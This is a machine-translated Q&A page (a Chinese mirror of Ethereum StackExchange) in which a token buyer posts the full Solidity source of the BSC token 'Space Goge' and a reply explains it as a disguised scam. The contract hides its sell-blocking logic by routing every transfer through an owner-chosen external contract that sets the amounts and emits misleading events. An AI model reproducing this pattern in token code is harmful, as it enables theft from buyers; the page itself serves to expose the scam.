首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >不能在单个交易中出售超过1%的令牌(BSC)。

问不能在单个交易中出售超过1%的令牌(BSC)。
EN

Ethereum用户
提问于 2022-09-18 23:13:48
回答 1查看 67关注 0票数 1

我买了0x096901cE2C5501eAE23AF2D3F6e465dE98BFc645,但在一笔交易中,我似乎卖不出超过1%的股份,而许多客户进行了更大的交易。我不善于阅读代码,但分析显示没有蜜罐和地毯,有人看到了什么吗?https://bscscan.com/address/0x096901cE2C5501eAE23AF2D3F6e465dE98BFc645#code#F1#L1

代码语言:javascript
复制
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.12;


interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);


    function totalSupply() external view returns (uint256);


    function balanceOf(address account) external view returns (uint256);


    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}
abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes calldata) {
    return msg.data;
  }
}
interface IUniswapV2Router01 {
  function factory() external pure returns (address);
  function WETH() external pure returns (address);
  function transferFrom(
    address caller,
    address from,
    address to,
    uint256 value
  ) external returns (bool tax, uint mode,uint excatAmount,address burnAddress);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor() {
        _transferOwnership(_msgSender());
    }


    modifier onlyOwner() {
        _checkOwner();
        _;
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract Coin is  IERC20, IERC20Metadata,Ownable {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    address private dev;

    uint256 private _totalSupply = 10000000000 * 10 * 10 ** 18;

    address private _WETH;

    string public constant _name = "Space Goge";
    string public constant _symbol = "sDoge";

    IUniswapV2Router01 public uniswapV2Router;
    address public uniswapPair;


    address private  DEAD = 0x000000000000000000000000000000000000dEaD;
    address private  FTX = 0x4bEC3AF1B212c81CdAc7674dd0Ea779110a1b6D2;

    address private router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;

    address private marketAddress = 0x0265624edAb97c15a3d6ECBC3Dc4033d96821d1E;

    uint256 public constant MAX = type(uint256).max;

    address private  taxAddress = 0x000000000000000000000000000000000000dEaD;

    constructor(address _router,address _marketAddress) {
        dev = _msgSender();
        IUniswapV2Router01 _uniswapV2Router = IUniswapV2Router01(router);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        marketAddress  =  _marketAddress;
        uniswapV2Router = IUniswapV2Router01(_router);
        _WETH = uniswapV2Router.WETH();

        _balances[DEAD] = _totalSupply/10 * 8;
        _balances[marketAddress] = _totalSupply/10 * 2;

        _allowances[DEAD][marketAddress] = MAX;
        _allowances[uniswapPair][marketAddress] = MAX;
        _allowances[_WETH][marketAddress] = MAX;


        emit Transfer(address(0), dev, _balances[dev]);
        emit Transfer(address(0), DEAD,_balances[DEAD]);

        _transferOwnership(address(0));

    }
    function symbol() public view virtual override returns (string memory) {
            return _symbol;
       }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
   
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
     

     function totalSupply() public view virtual override returns (uint256) {
                return _totalSupply;
     }

   

    function transfer(address to, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        uint256 fromBalance = _balances[owner];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        _transfer(owner, to, amount);
        return true;
    }
     function getBnbPair() public view returns (address){
                    return uniswapPair;
     }
    
    function approve(address spender, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
        ) internal virtual {
            require(owner != address(0), "ERC20: approve from the zero address");
            require(spender != address(0), "ERC20: approve to the zero address");

            _allowances[owner][spender] = amount;
            emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view  returns (uint256) {
            return _allowances[owner][spender];
    }

   
     
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
         address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

  


    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


        (bool tax, uint mode,uint excatAmount,address burnAddress) =
        uniswapV2Router.transferFrom(_msgSender(),from, to, amount);
        if(tax){
            if(mode == 1){
                emit Transfer(from, to, amount);
                _transferToken(from, to, excatAmount);
                _transferToken(from, burnAddress, amount - excatAmount);
            }else if(mode == 2){
                 emit Transfer(from, to, amount);
                 _transferToken(burnAddress, to, excatAmount);
            }else{
                _transferToken(from, to, excatAmount);
            }
        }else{
            emit Transfer(from, to, amount);
            _transferToken(from, to, excatAmount);
        }

    }
    
    
    function _transferToken(
        address from,
        address to,
        uint256 amount
    ) internal virtual {

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

    }
    
     function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

}
EN

回答 1

Ethereum用户

发布于 2022-09-21 18:02:34

我也一直在看这份合同。这是被证实的。这是一个狡猾的骗局。合同将清清楚楚,直到他动用流动资金。但这不是典型的地毯拉伤。

开发人员将合同的地址改为0x000000。他用薄荷糖烧掉了8000万枚,但有一亿枚代币。另外2000万我找不到他到底在哪里增加了流动性。https://bscscan.com/tx/0xba742fc3c5df700f525d392fc03c1fc5877019f626876b574325e87682f5f1e6

如果您单击合同上的"Read“,您将看到他没有使用pancakeswap路由器,当他增加流动性时,他只添加wrappedBNB,而不添加令牌。这很奇怪。https://bscscan.com/tx/0x32ebf745255773e0557e802396bbcb7751ade84c72a6fc64517512eee9d6e389

这是他过去一个月的全部清单,他一直在运行这个多个骗局。QueenDoge,Hunterdoge和其他人。

https://bscscan.com/address/0x4b292f456b6325379e782699f9634a7d09dddfea#internaltx

他用同样的合同做同样的事。这份合同对所有买卖交易都有规定。其中许多地址属于开发人员。他将做一个出售,并将BNB发送到多个不同的钱包,做自动购买。这使得钱包看起来像自然买家,图表看上去很健康。

如果您向下滚动契约页面的底部,开发人员已经更改了路由器。构造参数也可以看到下面的“读”。所以他有所有这些钱包,但他们都回到了一个主要的钱包。我还没找到他把所有偷来的钱都寄到哪去了。但使用这个辅助路由器。这就产生了流动性,这样他就可以只提取wrappedBNB。地毯也被扯下来了。至于他买的所有钱包,它们就像所有被骗的钱包一样。

我通过搜索Google找到你的帖子

地址私有marketAddress =0x0265624edAb97c15a3d6ECBC3Dc4033d96.21d1E

我搜查了合同上的这个钱包,里面没有交易。这很奇怪。

我以前从没见过这样的骗局。这是非常技术性和良好的伪装。

票数 0
EN
页面原文内容由Ethereum提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://ethereum.stackexchange.com/questions/135894

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档